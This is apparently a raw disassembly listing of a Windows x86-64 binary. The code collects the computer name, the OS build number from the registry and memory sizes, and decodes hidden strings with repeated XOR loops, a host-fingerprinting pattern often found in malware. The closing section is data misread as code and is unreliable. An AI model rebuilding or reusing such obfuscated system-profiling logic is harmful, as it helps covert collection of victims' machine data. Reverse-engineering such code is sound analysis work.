call sub.kernel32.dll_GetComputerNameExW
test eax, eax
jne 0x14001fc2d
mov ecx, 7
call fcn.1400b14fe
mov dword [rax], 0x6e6b6e55
mov dword [rax + 3], 0x6e776f6e
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], rdx
mov qword [rsp + 0x460], 7
mov byte [rsp + 0x468], 1
jmp 0x14001fc45
mov r8d, dword [rsp + 0x290]
lea rcx, [rsp + 0x450]
mov rdx, r12
call fcn.1400b0bc4
mov rcx, r12
mov rdx, rsi
call fcn.1400b1675
lea rsi, [rsp + 0x450]
lea rdi, [rsp + 0xc0]
mov rcx, rdi
mov rdx, rsi
call fcn.1400d58a0
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x290], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x298], rax
lea rax, [0x14014d318]
mov qword [rsi], rax
mov eax, 2
mov qword [rsi + 8], rax
and qword [rsi + 0x20], 0
mov qword [rsp + 0x2a0], rdi
lea rcx, [0x1400109da]
mov qword [rsp + 0x2a8], rcx
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rax
lea rsi, [rsp + 0xc40]
lea rdx, [rsp + 0x450]
mov rcx, rsi
call fcn.140006e4c
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140025ee7
mov rcx, rbx
mov rdx, r14
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, rsi
call fcn.140006e93
mov ecx, 7
call fcn.1400b14fe
mov dword [rax], 0x646e6957
mov dword [rax + 3], 0x73776f64
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
mov qword [rsp + 0xd0], 7
mov edi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x1401098b0]
movups xmmword [rax], xmm0
movabs rax, 0xd26c1d6a9243d226
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401098c0]
movups xmmword [rax], xmm0
movabs rcx, 0xf24c3d4ab263f206
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdi
mov qword [rsp + 0x2a0], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x14001fdbd
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001fdac
lea r14, [rsp + 0x450]
lea rbx, [rsp + 0x290]
mov rcx, r14
mov rdx, rbx
call fcn.140006f2f
cmp byte [r14 + 0x20], 2
jne case.0x14001c076.10
lea r14, [rsp + 0x450]
mov r15, qword [r14]
mov r12, qword [r14 + 8]
mov rdi, qword [r14 + 0x10]
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0x1a0], r15
mov qword [rsp + 0x1a8], rdi
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x290], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x298], rax
lea rax, [0x14014d318]
mov qword [r14], rax
mov eax, 2
mov qword [r14 + 8], rax
and qword [r14 + 0x20], 0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x2a0], rcx
lea rcx, [0x1400109da]
mov qword [rsp + 0x2a8], rcx
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rsi, [rsp + 0xc58]
mov rcx, rsi
mov rdx, r14
call fcn.140006e4c
mov rcx, r15
mov rdx, r12
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, rsi
call fcn.140006e93
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140025ee7
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.1400bfc21
cmp qword [rsi], 0
jne 0x14001fee3
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xc0], 1
jmp 0x14001ff03
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x450]
movaps xmmword [rsp + 0xc0], xmm0
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.1400bfc21
mov rsi, qword [rsi]
mov edi, 1
test rsi, rsi
je 0x14001ff35
mov rdi, rsi
mov rsi, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x460]
jmp 0x14001ff38
mov rdx, rsi
mov rcx, rdi
call fcn.140034529
mov r14, rax
mov rcx, rdi
mov rdx, rsi
call fcn.140025ee7
test r14b, 1
jne 0x14001ff6a
shr r14, 0x20
mov ebp, 0xb
cmp r14d, 0x55ef
ja 0x140020040
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionCurrentBuildNumberCurrentMajorVersionNumber_no_name__Process
lea rsi, [rsp + 0x290]
mov r8d, 0x2c
mov rcx, rsi
call fcn.1400a5498
lea rdx, [0x14016a4c6]
lea rcx, [rsp + 0x450]
mov r8d, 0x19
call fcn.1400a5498
mov rsi, qword [rsi]
mov rcx, rsi
call fcn.1400bfe2d
test rax, rax
jne 0x14001ffda
mov rcx, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
call fcn.1400b1675
mov rdx, qword [rsp + 0x298]
mov rcx, rsi
call fcn.1400b1675
xor ebp, ebp
jmp 0x140020040
mov rdi, rdx
lea r9, [rsp + 0x150]
mov dword [r9], 4
lea r8, [rsp + 0x1a0]
and dword [r8], 0
mov r14, qword [rsp + 0x450]
mov rcx, rdx
mov rdx, r14
call fcn.1400bfe6e
xor ebp, ebp
test eax, eax
jne 0x140020018
mov ebp, dword [rsp + 0x1a0]
mov rcx, rdi
call sub.advapi32.dll_RegCloseKey
mov rdx, qword [rsp + 0x458]
mov rcx, r14
call fcn.1400b1675
mov rdx, qword [rsp + 0x298]
mov rcx, rsi
call fcn.1400b1675
mov dword [rsp + 0x150], ebp
lea rax, [rsp + 0x150]
mov qword [rsp + 0x290], rax
lea rax, [0x140030b39]
mov qword [rsp + 0x298], rax
lea rax, [0x14018ed70]
lea rdx, [rsp + 0x450]
mov qword [rdx], rax
mov qword [rdx + 8], 3
and qword [rdx + 0x20], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x2a0], rax
lea rax, [0x1400109da]
mov qword [rsp + 0x2a8], rax
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], 2
lea rsi, [rsp + 0x1a0]
mov rcx, rsi
call fcn.140006e4c
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140025ee7
cmp qword [rsi], 0
je 0x140020276
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0xc0], xmm0
mov edi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x1401098d0]
movups xmmword [rax], xmm0
movabs rax, 0xbf41b145b04bbfb5
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401098e0]
movups xmmword [rax], xmm0
movabs rcx, 0x9f619165906b9f95
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdi
mov qword [rsp + 0x2a0], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x140020180
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14002016f
lea rbx, [rsp + 0x450]
lea rdi, [rsp + 0x290]
mov rcx, rbx
mov rdx, rdi
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
lea rbx, [rsp + 0x450]
mov r14, qword [rbx]
mov r15, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], r12
lea rax, [rsp + 0x150]
mov qword [rsp + 0x290], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x298], rax
lea rax, [0x14014d318]
mov qword [rbx], rax
mov eax, 2
mov qword [rbx + 8], rax
and qword [rbx + 0x20], 0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x2a0], rcx
lea rcx, [0x1400109da]
mov qword [rsp + 0x2a8], rcx
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rax
lea rsi, [rsp + 0xc70]
mov rcx, rsi
mov rdx, rbx
call fcn.140006e4c
mov rcx, r14
mov rdx, r15
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, rsi
call fcn.140006e93
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140025ee7
lea rbp, [rsp + 0x1a0]
mov rcx, rbp
call fcn.1400bfc21
cmp qword [rbp], 0
je 0x140020428
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0xc0], xmm0
mov edi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x1401098f0]
movups xmmword [rax], xmm0
movabs rax, 0x3a53352f82055f4d
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109900]
movups xmmword [rax], xmm0
movabs rcx, 0x1a73150fa2257f6d
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdi
mov qword [rsp + 0x2a0], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x140020332
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020321
lea rbx, [rsp + 0x450]
lea rdi, [rsp + 0x290]
mov rcx, rbx
mov rdx, rdi
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
lea rbx, [rsp + 0x450]
mov r14, qword [rbx]
mov r15, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x158], r12
lea rax, [rsp + 0x150]
mov qword [rsp + 0x290], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x298], rax
lea rax, [0x14014d318]
mov qword [rbx], rax
mov eax, 2
mov qword [rbx + 8], rax
and qword [rbx + 0x20], 0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x2a0], rcx
lea rcx, [0x1400109da]
mov qword [rsp + 0x2a8], rcx
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rax
lea rsi, [rsp + 0xc88]
mov rcx, rsi
mov rdx, rbx
call fcn.140006e4c
mov rcx, r14
mov rdx, r15
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, rsi
call fcn.140006e93
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
call fcn.140025ee7
mov edi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x140109910]
movups xmmword [rax], xmm0
movabs rax, 0x7ac810c4fea9e08b
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109920]
movups xmmword [rax], xmm0
movabs rcx, 0x5ae830e4de89c0ab
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdi
mov qword [rsp + 0x2a0], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x1400204a9
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020498
lea rdi, [rsp + 0x450]
lea r14, [rsp + 0x290]
mov rcx, rdi
mov rdx, r14
call fcn.140006f2f
cmp byte [rdi + 0x20], 2
jne case.0x14001c076.10
lea r15, [rsp + 0x450]
mov rdi, qword [r15]
mov rbx, qword [r15 + 8]
mov r13, qword [r15 + 0x10]
mov r12d, 0x18
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x290], 1
mov qword [rsp + 0xc0], rbp
lea rax, [fcn.1400329bc]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], r14
lea rax, [0x14014d318]
mov qword [r15], rax
mov eax, 2
mov qword [r15 + 8], rax
and qword [r15 + 0x20], 0
lea rcx, [0x1400d596b]
mov qword [rsp + 0xd8], rcx
lea rcx, [rsp + 0xc0]
mov qword [r15 + 0x10], rcx
mov qword [r15 + 0x18], rax
lea rcx, [rsp + 0xb78]
mov rdx, r15
call fcn.140006e4c
cmp dword [rsp + 0x290], 0x11
jb 0x140020595
mov rcx, qword [rsp + 0x298]
mov rdx, qword [rsp + 0x2a0]
call fcn.140025ee7
mov rcx, rdi
mov rdx, rbx
call fcn.140025ee7
lea rcx, [rsp + 0x218]
lea rdx, [rsp + 0xb78]
call fcn.140006e93
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x140109930]
movups xmmword [rax], xmm0
movabs rax, 0x1c2c4fbf29343a
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109940]
movups xmmword [rax], xmm0
movabs rcx, 0x203c0c6f9f09141a
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], r12
mov qword [rsp + 0x2a0], r12
xor ecx, ecx
cmp rcx, 0x18
je 0x140020631
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020620
lea rbx, [rsp + 0x450]
lea rdi, [rsp + 0x290]
mov rcx, rbx
mov rdx, rdi
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
lea rbx, [rsp + 0x450]
mov r14, qword [rbx]
mov r15, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
mov r12d, 0x18
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0xc0], r14
mov qword [rsp + 0xc8], r13
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x290], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x298], rax
lea rcx, [rsp + 0xab0]
lea rax, [0x14014d318]
mov qword [rbx], rax
mov eax, 2
mov qword [rbx + 8], rax
and qword [rbx + 0x20], 0
mov qword [rsp + 0x2a0], rcx
lea rcx, [0x1400109da]
mov qword [rsp + 0x2a8], rcx
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rax
lea rsi, [rsp + 0xca0]
mov rcx, rsi
mov rdx, rbx
call fcn.140006e4c
mov rcx, r14
mov rdx, r15
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, rsi
call fcn.140006e93
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x140109950]
movups xmmword [rax], xmm0
movabs rax, 0xf462c8b7e74b545d
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109960]
movups xmmword [rax], xmm0
movabs rcx, 0xd442e897c76b747d
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], r12
mov qword [rsp + 0x2a0], r12
xor ecx, ecx
cmp rcx, 0x18
je 0x140020794
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020783
lea rbx, [rsp + 0x450]
lea rdi, [rsp + 0x290]
mov rcx, rbx
mov rdx, rdi
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
lea rbx, [rsp + 0x450]
mov r14, qword [rbx]
mov r15, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
mov r12d, 0x18
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0xc0], r14
mov qword [rsp + 0xc8], r13
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x290], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x298], rax
lea rax, [rsp + 0xb10]
lea rcx, [0x14014d318]
mov qword [rbx], rcx
mov ecx, 2
mov qword [rbx + 8], rcx
and qword [rbx + 0x20], 0
mov qword [rsp + 0x2a0], rax
lea rax, [0x1400109da]
mov qword [rsp + 0x2a8], rax
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rcx
lea rsi, [rsp + 0xcb8]
mov rcx, rsi
mov rdx, rbx
call fcn.140006e4c
mov rcx, r14
mov rdx, r15
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, rsi
call fcn.140006e93
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x140109970]
movups xmmword [rax], xmm0
movabs rax, 0x69b6a9e76ae344
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109980]
movups xmmword [rax], xmm0
movabs rcx, 0x20499689c74ac364
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], r12
mov qword [rsp + 0x2a0], r12
xor ecx, ecx
cmp rcx, 0x18
je 0x1400208f7
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x1400208e6
lea rdi, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, rdi
call fcn.140006f2f
cmp byte [rdi + 0x20], 2
jne case.0x14001c076.10
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
mov r14, qword [rsp + 0x460]
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x1a8], r14
mov rax, qword [rsp + 0x900]
shr rax, 0x14
mov qword [rsp + 0x150], rax
mov r14d, 3
mov ecx, 3
mov edx, 1
call fcn.140006f0f
mov rsi, rax
mov word [rax], 0x258a
mov byte [rax + 2], 0xa1
mov ecx, 3
mov edx, 1
call fcn.140006f0f
mov word [rax], 0x68aa
mov byte [rax + 2], 0xe3
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], r14
mov qword [rsp + 0x2a0], r14
xor ecx, ecx
cmp rcx, 3
je 0x1400209c6
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x1400209b5
lea r14, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, r14
call fcn.140006f2f
cmp byte [r14 + 0x20], 2
jne case.0x14001c076.10
mov r15, qword [rsp + 0x450]
mov r12, qword [rsp + 0x458]
mov r13, qword [rsp + 0x460]
mov ebp, 3
mov edx, 3
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], r13
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x450], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x458], rax
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x460], rcx
lea rcx, [fcn.140033abf]
mov qword [rsp + 0x468], rcx
lea rcx, [0x14010d7f0]
lea rsi, [rsp + 0x290]
mov qword [rsi], rcx
mov qword [rsi + 8], rbp
and qword [rsi + 0x20], 0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x470], rcx
mov qword [rsp + 0x478], rax
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rbp
lea r14, [rsp + 0xcd0]
mov rcx, r14
mov rdx, rsi
call fcn.140006e4c
mov rcx, r15
mov rdx, r12
call fcn.140025ee7
mov rcx, rdi
mov rdx, rbx
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, r14
call fcn.140006e93
mov edi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov r14, rax
movaps xmm0, xmmword [0x140109990]
movups xmmword [rax], xmm0
movabs rax, 0xbba9d7b8392a6628
mov qword [r14 + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401099a0]
movups xmmword [rax], xmm0
movabs rcx, 0x9b89f798190a4608
mov qword [rax + 0x10], rcx
mov qword [rsi], rax
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x140020b4a
mov dl, byte [r14 + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020b38
lea rsi, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, rsi
call fcn.140006f2f
cmp byte [rsi + 0x20], 2
jne case.0x14001c076.10
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
mov rsi, qword [rsp + 0x460]
mov edx, 0x18
mov rcx, r14
call fcn.140025ee7
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x1a8], rsi
mov rax, qword [rsp + 0x900]
sub rax, qword [rsp + 0x908]
shr rax, 0x14
mov qword [rsp + 0x150], rax
mov r14d, 3
mov ecx, 3
mov edx, 1
call fcn.140006f0f
mov rsi, rax
mov word [rax], 0x5b61
mov byte [rax + 2], 0xa3
mov ecx, 3
mov edx, 1
call fcn.140006f0f
mov word [rax], 0x1641
mov byte [rax + 2], 0xe1
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], r14
mov qword [rsp + 0x2a0], r14
xor ecx, ecx
cmp rcx, 3
je 0x140020c21
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020c10
lea r14, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, r14
call fcn.140006f2f
cmp byte [r14 + 0x20], 2
jne case.0x14001c076.10
mov r15, qword [rsp + 0x450]
mov r12, qword [rsp + 0x458]
mov r13, qword [rsp + 0x460]
mov ebp, 3
mov edx, 3
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], r13
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x450], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x458], rax
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x460], rcx
lea rcx, [fcn.140033abf]
mov qword [rsp + 0x468], rcx
lea rsi, [rsp + 0x290]
lea rcx, [0x14010d7f0]
mov qword [rsi], rcx
mov qword [rsi + 8], rbp
and qword [rsi + 0x20], 0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x470], rcx
mov qword [rsp + 0x478], rax
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rbp
lea r14, [rsp + 0xce8]
mov rcx, r14
mov rdx, rsi
call fcn.140006e4c
mov rcx, r15
mov rdx, r12
call fcn.140025ee7
mov rcx, rdi
mov rdx, rbx
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, r14
call fcn.140006e93
mov edi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov r14, rax
movaps xmm0, xmmword [0x1401099b0]
movups xmmword [rax], xmm0
movabs rax, 0x3f325077be719c3f
mov qword [r14 + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401099c0]
movups xmmword [rax], xmm0
movabs rcx, 0x1f1270579e51bc1f
mov qword [rax + 0x10], rcx
mov qword [rsi], rax
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x140020da5
mov dl, byte [r14 + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020d93
lea rsi, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, rsi
call fcn.140006f2f
cmp byte [rsi + 0x20], 2
jne case.0x14001c076.10
mov rdi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
mov rsi, qword [rsp + 0x460]
mov edx, 0x18
mov rcx, r14
call fcn.140025ee7
mov qword [rsp + 0x1a0], rdi
mov qword [rsp + 0x1a8], rsi
mov rax, qword [rsp + 0x910]
shr rax, 0x14
mov qword [rsp + 0x150], rax
mov r14d, 3
mov ecx, 3
mov edx, 1
call fcn.140006f0f
mov rsi, rax
mov word [rax], 0xd89c
mov byte [rax + 2], 0x81
mov ecx, 3
mov edx, 1
call fcn.140006f0f
mov word [rax], 0x95bc
mov byte [rax + 2], 0xc3
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], r14
mov qword [rsp + 0x2a0], r14
xor ecx, ecx
cmp rcx, 3
je 0x140020e74
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x140020e63
lea r14, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, r14
call fcn.140006f2f
cmp byte [r14 + 0x20], 2
jne case.0x14001c076.10
test r9, r9
jne 0x140024982
mov eax, 0x40
test r8, r8
je 0x140024972
bsf rax, r8
shr eax, 3
add eax, 8
jmp 0x140024989
bsf rax, r9
shr eax, 3
add rax, r11
jmp 0x14001bc00
movups xmm0, xmmword [rsp + 0x418]
movups xmm1, xmmword [rsp + 0x428]
movups xmm2, xmmword [rsp + 0x438]
lea rsi, [rsp + 0x820]
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi], rax
lea rdi, [rsp + 0xc0]
mov rcx, rdi
mov rdx, rsi
mov r8b, 1
call fcn.1400bf7da
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x890], rax
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movaps xmmword [rsp + 0x880], xmm2
movaps xmmword [rsp + 0x870], xmm1
movdqa xmmword [rsp + 0x860], xmm0
mov ebp, dword [rdi + 4]
cmp ebp, 2
jne 0x140024ec4
lea rcx, [rsp + 0x860]
call fcn.1400bc7fd
mov esi, 8
xor edi, edi
jmp 0x140025788
lea r15, [rsp + 0x828]
movss xmm8, dword [rsp + 0xc0]
movss xmm9, dword [rsp + 0xc8]
mov esi, 8
mov ecx, 8
call fcn.1400b14fe
mov rdi, rax
movabs rax, 0x72657475706d6f43
mov qword [rdi], rax
mov r14, qword [r15 - 8]
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rsp + 0x2b0], xmm2
movaps xmmword [rsp + 0x2a0], xmm1
movdqa xmmword [rsp + 0x290], xmm0
cmp r14, 3
jne 0x140025718
xor edi, edi
jmp 0x140025780
xor ecx, ecx
mov edx, edi
call fcn.1400c6c6e
lea rcx, [rsp + 0x290]
call fcn.1400a5c29
mov rax, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x458]
call qword [rax + 0x18]
call fcn.14003361c
ud2
mov rbx, rdx
mov ecx, 0x60
mov edx, 8
call fcn.1400b36a2
mov rsi, rax
mov qword [rax], r14
movdqa xmm0, xmmword [rsp + 0x290]
movaps xmm1, xmmword [rsp + 0x2a0]
movaps xmm2, xmmword [rsp + 0x2b0]
movdqu xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
movups xmmword [rax + 0x28], xmm2
mov dword [rax + 0x38], ebp
movss dword [rax + 0x3c], xmm9
mov qword [rax + 0x40], rdi
mov qword [rax + 0x48], rbx
mov qword [rax + 0x50], 8
movss dword [rax + 0x58], xmm8
movss dword [rax + 0x5c], xmm8
mov edi, 1
lea rbx, [rsp + 0x860]
lea r15, [rsp + 0xc0]
jmp 0x14001e01e
lea rcx, [rsp + 0xc0]
call fcn.1400c3886
lea rcx, [rsp + 0xa78]
call fcn.1400952c6
mov rcx, rsi
call fcn.14009896f
lea rcx, [rsp + 0xb08]
call fcn.1400a5c29
jmp 0x140025803
lea rcx, [rsp + 0x150]
call fcn.1400c385c
lea rcx, [rsp + 0xb00]
call fcn.1400a59aa
jmp case.0x14001c076.10
test rax, rax
jmp case.0x14001c076.10
call fcn.1400d6c4f
mov ecx, eax
call fcn.140036805
jmp case.0x14001c076.10
ud2
add dword [rdi + 0xb0f067f], edi
ud2
enter 0x56c3, 0x48
sub esp, 0x20
mov rsi, rcx
movzx eax, byte [rdx]
lea rcx, [0x140109c14]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x1400295f4
movups xmm0, xmmword [rdx + 8]
adc byte [rdx + 8], al
movups xmmword [rsi + 8], xmm0
xor eax, eax
jmp 0x1400296c0
invalid
add byte [rax - 0x75], cl
or byte [rax - 0x75], cl
push rdx
adc al, ch
pop rbx
leave
invalid
mov rcx, qword [rdx + 8]
mov ecx, dword [rdx + 8]
mov rdx, qword [rdx + 0x10]
call fcn.140025f5b
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdx
mov al, 1
jmp 0x1400296c0
invalid
add byte [rdi], cl
adc byte [rdx + 8], al
movups xmm0, xmmword [rdx + 8]
movups xmmword [rsi + 8], xmm0
mov al, 2
jmp 0x1400296c0
invalid
add byte [rax], al
invalid
movabs byte [0x48084a8b48000000], al
mov edx, dword [rdx + 0x10]
invalid
mov rcx, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
invalid
adc al, ch
xor cl, cl
invalid
call fcn.140025f5b
mov qword [rsi + 8], rax
or byte [rax - 0x77], r9b
push rsi
invalid
mov al, 3
or byte [rax - 0x77], r9b
push rsi
adc byte [rax + 0x86e903], dh
jmp 0x1400296c0
jmp 0x1400296c0
add byte [rdi], cl
mov bh, 0x42
movzx eax, word [rdx + 1]
mov word [rsi + 1], ax
invalid
mov al, 4
jmp 0x1400296c0
invalid
add dword [rsi - 0x77], esp
add dword [rax - 0x758514fc], r14d
add dword [rax - 0x758514fc], esi
